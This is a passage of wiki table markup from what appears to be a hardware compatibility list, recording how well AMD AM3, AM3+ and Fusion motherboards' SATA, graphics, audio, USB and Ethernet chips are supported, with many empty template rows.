| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|}


=====Socket AM3 White socket (2010/11)=====

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;Gigabyte GA-MA74GM-S2 GA-MA74GM-S2H
| &lt;!--Chipset--&gt;740g with sb710
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes| }}
| &lt;!--SATA--&gt;{{yes|bios IDE}}
| &lt;!--Gfx--&gt;Radeon 2100 and pci-e slot 
| &lt;!--Audio--&gt;ALC888 (r1.x),ALC888b (r2.0), ALC888B (rev4.x) 
| &lt;!--USB--&gt;USB2 
| &lt;!--Ethernet--&gt;rtl8169 Realtek 8111C later 8111D
| &lt;!--Opinion--&gt;2010 64bit - 2 x 1.8V DDR2 DIMM sockets max 8 GB - Micro ATX Form Factor 24.4cm x 23.4cm - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;[http://www.vesalia.de/e_aresone2011.htm Aresone 2011]
| &lt;!--Chipset--&gt;760g 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{Yes}}
| &lt;!--Gfx--&gt;{{Maybe|no Radeon HD3000 driver yet&lt;br&gt;vesa driver works&lt;br&gt;and add PCIe card}}
| &lt;!--Audio--&gt;{{Yes|HD Audio}}
| &lt;!--USB--&gt;{{Yes|USB2.0}}
| &lt;!--Ethernet--&gt;{{yes}}
| &lt;!--Opinion--&gt;Good support - 4 DDR3 memory sockets - 
|-
| &lt;!--Name--&gt;Foxconn A76ML-K 3.0
| &lt;!--Chipset--&gt;AMD 760g rev3.0
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{Yes|1 }}
| &lt;!--SATA--&gt;{{Yes|4 in IDE mode }}
| &lt;!--Gfx--&gt;HD3000 with pci-e slot  
| &lt;!--Audio--&gt;HDAudio with ALC662-GR codec 
| &lt;!--USB--&gt;USB2 
| &lt;!--Ethernet--&gt;rtl8169 rtl8111E 
| &lt;!--Opinion--&gt;2011 64bit - 2 ddr3 slots - 2 pci slots - 
|-
| &lt;!--Name--&gt;GA-MA770T-UD3P (rev. 1.0 to 1.4) 
| &lt;!--Chipset--&gt;amd 770 with sb710 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{yes|4 sata}} 
| &lt;!--Gfx--&gt;pci-e
| &lt;!--Audio--&gt;{{yes|HDAudio with Realtek ALC888 codec}}
| &lt;!--USB--&gt;{{yes| }}
| &lt;!--Ethernet--&gt;{{yes|rtl8168 rtl8111c/d}}
| &lt;!--Opinion--&gt;2011 64 - 4 ddr3 dimm slots - 
|-
| &lt;!--Name--&gt;Gigabyte GA-MA770-UD3 (rev. 2.0 2.1)
| &lt;!--Chipset--&gt;AMD 770 with SB700 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes| }}
| &lt;!--SATA--&gt;{{yes| }}
| &lt;!--Gfx--&gt;pci-e 
| &lt;!--Audio--&gt;{{yes|ALC888 codec }}
| &lt;!--USB--&gt;{{yes|USB2}}
| &lt;!--Ethernet--&gt;{{yes|rtl8169 8111C later 8111D}}
| &lt;!--Opinion--&gt;Good support for AM3 with 4 ddr2 ram - 4 x PCI Express x1, 2 x PCI slots - firewire T.I. TSB43AB23 chip no support - 
|-
| &lt;!--Name--&gt;Asus M4A785TD-M PRO
| &lt;!--Chipset--&gt;785G and SB710 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{Maybe|ide legacy}} 
| &lt;!--Gfx--&gt;{{Maybe|ATI Radeon HD 4200 - use vesa}} or pci-e 2.0 slot 
| &lt;!--Audio--&gt;{{Yes|HD Audio}}
| &lt;!--USB--&gt;{{Yes| }}
| &lt;!--Ethernet--&gt;{{Yes| }}
| &lt;!--Opinion--&gt;Good support with 1366 ddr3 ram - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;ASUS M4A88T-I Deluxe ITX 
| &lt;!--Chipset--&gt;AMD 880G with AMD SB710
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;Three SATA 3Gbps
| &lt;!--Gfx--&gt;Radeon HD 4350 GPU with HDMI and DVI or One 16x PCI-Express 2.0 
| &lt;!--Audio--&gt;HDAudio with Realtek ALC889 
| &lt;!--USB--&gt;6 x USB 2, 2 x USB 3
| &lt;!--Ethernet--&gt;{{No|Realtek RTL8112L}} 
| &lt;!--Opinion--&gt;2014 64bit - 2 SODIMM DDR3 slots max 8GB
|-
| &lt;!--Name--&gt;Asus M4A88T-M Version E5907 E5826 
| &lt;!--Chipset--&gt;AMD 880G SB710 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;Radeon 4250 
| &lt;!--Audio--&gt;HD Audio with VIA VT 1708S codec 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek rtl8169 8111E 
| &lt;!--Opinion--&gt;2010 64bit - 
|-
| &lt;!--Name--&gt;GigaByte 890GPA-UD3H
| &lt;!--Chipset--&gt;AMD 890GX together with SB850
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;Yes
| &lt;!--Gfx--&gt;use pci-e nvidia 
| &lt;!--Audio--&gt;Maybe - ALC892 rev. 1.0, ALC892 rev 2.1, ALC889 rev. 3.1 
| &lt;!--USB--&gt;Yes
| &lt;!--Ethernet--&gt;Yes
| &lt;!--Opinion--&gt;works well overall 
|-
| &lt;!--Name--&gt;Gigabyte GA-890FXA-UD7 
| &lt;!--Chipset--&gt;AMD 890FX with SB850 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes| }}
| &lt;!--SATA--&gt;{{yes|IDE }}
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;ALC889 (rev 2.x) 
| &lt;!--USB--&gt;{{Yes|AMD USB2 but limited with NEC D720200F1 USB3}}
| &lt;!--Ethernet--&gt;2 x Realtek 8111D 
| &lt;!--Opinion--&gt;2012 64bit - XL-ATX Form Factor 32.5cm x 24.4cm - 4 ddr3 slots - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;MSI 890GXM-G65 
| &lt;!--Chipset--&gt;890GX + SB750
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;{{Maybe|legacy}}
| &lt;!--Gfx--&gt;{{Maybe|ATI 4290 built-in (vesa)}} 
| &lt;!--Audio--&gt;{{Maybe|ALC889 DD GR}} HD Audio crackles 
| &lt;!--USB--&gt;{{Yes}}
| &lt;!--Ethernet--&gt;{{Yes|RTL 8169}}
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;ASRock N68-VS3 FX
| &lt;!--Chipset--&gt;NVIDIA® GeForce 7025 / nForce 630a
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 port 
| &lt;!--SATA--&gt;4 Sata2 
| &lt;!--Gfx--&gt;Integrated NVIDIA® GeForce 7025 
| &lt;!--Audio--&gt;HD Audio with VIA® VT1705 Codec 
| &lt;!--USB--&gt;USB2 
| &lt;!--Ethernet--&gt;Realtek PHY RTL8201EL
| &lt;!--Opinion--&gt;2010 64bit - 2 x DDR3 DIMM slots - 
|-
| &lt;!--Name--&gt;MSI GF615M-P35 MS-7597
| &lt;!--Chipset--&gt;NVIDIA® nForce 430
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;GeForce 6150SE 
| &lt;!--Audio--&gt;{{Maybe|HD Audio with Realtek® ALC888S}}
| &lt;!--USB--&gt;{{No|freezes}}
| &lt;!--Ethernet--&gt;{{No|Realtek 8211CL}}
| &lt;!--Opinion--&gt;2010 64bit 
|-
| &lt;!--Name--&gt;Gigabyte GA-M68MT-S2 
| &lt;!--Chipset--&gt; nForce 630a 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;NVIDIA® GeForce 7025 vga 
| &lt;!--Audio--&gt;ALC888B (1.3), ACL887 (3.1), 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;RTL8211CL (all) 
| &lt;!--Opinion--&gt;2010 64bit possible, AMD AM3 CPU on this motherboard, the system bus speed will downgrade from HT3.0 (5200MT/s) to HT1.0 (2000 MT/s) spec 
|-
| &lt;!--Name--&gt;Gigabyte GA-M68MT-S2P 
| &lt;!--Chipset--&gt; nForce 630a 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;NVIDIA® GeForce 7025 vga 
| &lt;!--Audio--&gt;ALC888B (1.x 2.x), ALC889 (3.0), ALC888B/889 (3.1),  
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;RTL8211CL (all) 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Asus M4N78 PRO 
| &lt;!--Chipset--&gt;NVIDIA GeForce 8300  
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 xUltraDMA 133/100 
| &lt;!--SATA--&gt;6 xSATA 3 Gbit/s ports
| &lt;!--Gfx--&gt;Integrated NVIDIA® GeForce® 8 series GPU with 1 PCIe 2.0 slot 
| &lt;!--Audio--&gt;HD Audio with VIA1708S 8 -Channel  codec 
| &lt;!--USB--&gt;12 USB 2.0 ports (8 ports at mid-board, 4 ports at back panel)  
| &lt;!--Ethernet--&gt;NVIDIA Gigabit 
| &lt;!--Opinion--&gt;4 x DIMM, Max. 16 GB, DDR2 1200(O.C.)/1066*/800/667 ECC,Non-ECC,Un-buffered Memory - ATX Form Factor 12 inch x 9.6 inch ( 30.5 cm x 24.4 cm ) - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|}


=====Socket AM3+ Black socket (2012/15)=====

*095W FX-6300 FD6300WMHKBOX (bulldozer SSE4.1 AVX) 970 mobos with FX-8320E 8core Black Editions FD832EWMHKBOX  FX-8370E  (Vishera/Piledriver) 
*125W FX-6310 (bulldozer) 970 mobos with FX-8320 FX-8350 FX-8370 (Vishera/Piledriver) 
*220W 990FX mobos with FX-9000 FX-9370 FX-9590 

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;ASUS M5A78L-M LX3 
| &lt;!--Chipset--&gt;AMD 760G with SB710
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes| }}
| &lt;!--SATA--&gt;{{Yes|bios IDE mode}}
| &lt;!--Gfx--&gt;HD3000 with pci-e slot 
| &lt;!--Audio--&gt;HDAudio with ALC887, V? ALC892 codecs 
| &lt;!--USB--&gt;USB2 
| &lt;!--Ethernet--&gt;{{No|Qualcomm Atheros 8161/8171 add realtek 8111? pci-e card}}
| &lt;!--Opinion--&gt;2012 64bit - uATX Form Factor 9.6  inch x 7.4  inch ( 24.4  cm x 18.8  cm ) - 2 x DIMM, Max. 16GB, DDR3 - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte GA-78LMT-S2P
| &lt;!--Chipset--&gt;AMD 760G and SB710 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{yes|6 SATA2 ports}}
| &lt;!--Gfx--&gt;GT240 and a nv7900gs, both pci-e 
| &lt;!--Audio--&gt;{{Maybe|ALC889 (r3.1), ALC??? (rev. 4.0), ALC887 (r5.x)}}
| &lt;!--USB--&gt;4 USB2 
| &lt;!--Ethernet--&gt;{{Maybe|Realtek 8111E (r3.1), Atheros (rev4.0), Atheros (r5.x) }}
| &lt;!--Opinion--&gt;2012 offers very poor control over its EFI vs. BIOS booting partition features 
|-
| &lt;!--Name--&gt;Gigabyte GA-78LMT-USB3 (r3.0), (r4.1 Blue board), (r5.0 dark board), (rev6 dark mobo)
| &lt;!--Chipset--&gt;AMD 760G and SB710 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes| }}
| &lt;!--SATA--&gt;{{yes|Bios IDE mode for SATA2 on early ones}}
| &lt;!--Gfx--&gt;AMD HD3000, pci-e GT240 and a nv7900gs 
| &lt;!--Audio--&gt;{{Maybe|ALC??? (r3.0), ALC887 (r4.1), VIA VT2021 (r5.0), Realtek® ALC892 codec (rev6) }}
| &lt;!--USB--&gt;{{yes|AMD USB2 but not VIA® VL805 USB3}}
| &lt;!--Ethernet--&gt;Realtek GbE 
| &lt;!--Opinion--&gt;2013 64bit - Micro ATX Form Factor 24.4cm x 24.4cm - 4 x DDR3 DIMM sockets - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;MSI 760GM 
| &lt;!--Chipset--&gt;ATI 760G plus SB710
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{yes| }}
| &lt;!--Gfx--&gt;HD3000 Use Vesa 
| &lt;!--Audio--&gt;{{Maybe|P33 VT1705; P34, P21 and P23 (FX) MS7641 v3.0 ALC887,  E51 ALC892}}
| &lt;!--USB--&gt;{{yes| }}
| &lt;!--Ethernet--&gt;{{Yes|Realtek}} 
| &lt;!--Opinion--&gt;P23 issues with audio ALC887 crackles thru earphones - 
|-
| &lt;!--Name--&gt;Gigayte GA-MA770T-UD3P (rev. 3.1) 
| &lt;!--Chipset--&gt;amd 770 with sb710
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;4 sata 
| &lt;!--Gfx--&gt;pci-e slot 
| &lt;!--Audio--&gt;HDaudio with Realtek ALC888/892 codec
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;rtl8169 rtl8111d/e 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;ASRock 890FX Deluxe5 Extreme3 
| &lt;!--Chipset--&gt;AMD 890FX + AMD SB850 or SB950 (Extreme3) 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{Yes}}
| &lt;!--SATA--&gt;{{Yes}}
| &lt;!--Gfx--&gt;{{N/A}}
| &lt;!--Audio--&gt;{{Maybe|ALC892}}
| &lt;!--USB--&gt;{{Yes}}
| &lt;!--Ethernet--&gt;{{Yes|RTL8111E rtl8169}}
| &lt;!--Opinion--&gt; 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Asus M5A97 R2.0 EVO 
| &lt;!--Chipset--&gt;AMD 970 and SB950 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;Asmedia SATA Controller 
| &lt;!--Gfx--&gt;n/a
| &lt;!--Audio--&gt;HDAudio with Realtek ALC887 (LE), ALC887 (Regular), ALC892 (EVO) codec 
| &lt;!--USB--&gt;4 USB 2.0 and 2 Asmedia USB3.0 Controller 
| &lt;!--Ethernet--&gt;Realtek 8111F 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte GA-970A-D3 
| &lt;!--Chipset--&gt;AMD 970 with SB950 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{Yes| }}
| &lt;!--SATA--&gt;{{Yes|IDE mode}}
| &lt;!--Gfx--&gt;pci-e 
| &lt;!--Audio--&gt; ALC??? (rev. 1.0/1.1), ALC887 (rev1.2), VIA VT2021 codec (rev 1.3 1.4 and rev3.0) 
| &lt;!--USB--&gt;{{yes|AMD USB2 but not Etron EJ168 chip (USB3)}}
| &lt;!--Ethernet--&gt;Realtek GbE 8111E (all revisions), 
| &lt;!--Opinion--&gt;2015 64bit - ATX Form Factor 30.5cm x 22.4cm - 4 x 1.5V DDR3 DIMM sockets - 
|-
| &lt;!--Name--&gt;MSI 970 Gaming 
| &lt;!--Chipset--&gt;970FX SB950
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;Realtek® ALC1150 Codec
| &lt;!--USB--&gt;6 usb2 with 2 USB3 VIA VL806 Chipset 
| &lt;!--Ethernet--&gt;Killer E2205 Gigabit LAN 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Asus M5A99X EVO 
| &lt;!--Chipset--&gt;990X - RD980 with SB920 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;2 pci-e gen ?
| &lt;!--Audio--&gt;HDAudio with ALC892 codec 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;rtl8169 realtek 8111e 
| &lt;!--Opinion--&gt;2012 64bit - 
|-
| &lt;!--Name--&gt;Gigabyte GA-990XA-UD3 
| &lt;!--Chipset--&gt;AMD 990 with SB950 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes| }}
| &lt;!--SATA--&gt;{{yes| }}
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;ALC889 (rev 1.x, 3.0, 3.1), 
| &lt;!--USB--&gt;{{yes|AMD USB2 not 2 x Etron EJ168 chips for USB3}}
| &lt;!--Ethernet--&gt;realtek rtl8169 8111e 
| &lt;!--Opinion--&gt;2012 64bit - ATX Form Factor; 30.5cm x 24.4cm - 4 ddr3 slots - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|}


=====AMD Fusion (2011/14)=====

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt; 
| 1.2GHz single Bobcat Fusion C30 + Hudson M1 
| ACPI
| IDE
| SATA
| AMD 6250 
| Audio
| USB
| Ethernet
| &lt;!--Opinion--&gt;2011 64bit does not support AVX or SSE 4.1 - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2011 64bit does not support AVX or SSE 4.1 - 
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| Asus E35M1-M PRO uATX
| 1.6GHz 18W AMD Fusion E-350 dual core + Hudson M1
| ACPI
| {{N/A}}
| SATA
| AMD 6310 - no HD driver yet 
| ALC887 VD2 
| USB
| RTL8111E 
| 2011 64bit does not support AVX or SSE 4.1 - EFI bios - pci slot - 
|-
| Asus E35M1-I Deluxe miniITX
| 1.6GHz dual AMD Fusion E350 + Hudson M1 + DDR3
| ACPI
| {{N/A}}
| SATA
| AMD 6310 - no HD driver yet 
| ALC892 
| USB
| Realtek 8111E 
| 2011 64bit does not support AVX or SSE 4.1 - no support for Atheros AR5008 on a Mini PCI-E - 1 pci slot - 
|-
| ASRock E350M1 / USB3 (also version with USB3.0 added) 
| 1.6GHz dual AMD Fusion E350 + Hudson M1 
| ACPI
| {{N/A}}
| SATA - 4 SATA3 
| {{Maybe|AMD 6310 - use vesa with hdmi and dvi}} 
| {{Yes|Audio ALC892 playback but no HDMI output}} 
| USB - 4 USB2.0 and 2 USB3.0 
| {{Yes|rtl8169 for Realtek rtl8111E}}
| 2011 64bit does not support AVX or SSE 4.1 - 1 pci-e 2.0 x4 slot - f2 or del bios, f11 boot select - 
|-
| &lt;!--Name--&gt;Gigabyte GA-E350N-USB3 mini-ITX
| &lt;!--Chipset--&gt; Hudson M1 FCH 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;4 SATA3 
| &lt;!--Gfx--&gt; plus HDMI, DVI 
| &lt;!--Audio--&gt;ALC892 
| &lt;!--USB--&gt;2 NEC USB3.0 with 4 USB2.0 
| &lt;!--Ethernet--&gt;rtl8169 for Realtek rtl8111E 
| &lt;!--Opinion--&gt;2011 64bit does not support AVX or SSE 4.1 - 1 pci slot - 
|-
| &lt;!--Name--&gt;Gigabyte GA-E350N Win8 V1.0 
| &lt;!--Chipset--&gt;Hudson M1 FCH A45 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;4 SATA3 
| &lt;!--Gfx--&gt;{{maybe|Use VESA - AMD 6310 plus HDMI, DVI}} 
| &lt;!--Audio--&gt;{{yes|ALC887 playback through headphones but not thru hdmi}} 
| &lt;!--USB--&gt;{{maybe|4 USB2.0 needs more testing}} 
| &lt;!--Ethernet--&gt;{{yes|rtl8169 for Realtek 8111e}} 
| &lt;!--Opinion--&gt;2011 64bit does not support AVX or SSE 4.1 - works well but need to test with sata hard disk 
|-
| &lt;!--Name--&gt;MSI E350IA-E45 
| &lt;!--Chipset--&gt;e-350 + Hudson M1 + DDR3 
| &lt;!--ACPI--&gt;no support 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;4 Sata3 ports 
| &lt;!--Gfx--&gt;AMD 6310 gpu 
| &lt;!--Audio--&gt;ALC HDA 
| &lt;!--USB--&gt;6 USB2.0 and 2 USB3.0 through NEC 720200 chipset 
| &lt;!--Ethernet--&gt;Realtek RTL8111E 
| &lt;!--Opinion--&gt;2011 64bit does not support AVX or SSE 4.1 - 
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;ASUS E45M1-M PRO 
| &lt;!--Chipset--&gt;E450 APU with Hudson M1 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;ALC887 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek 
| &lt;!--Opinion--&gt;2011 64bit does not support AVX or SSE 4.1 - 
|-
| &lt;!--Name--&gt;ASUS E45M1-I Deluxe 
| &lt;!--Chipset--&gt;E-450 together 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;ALC892 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek 8111E
| &lt;!--Opinion--&gt;2011 64bit does not support AVX or SSE 4.1 - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
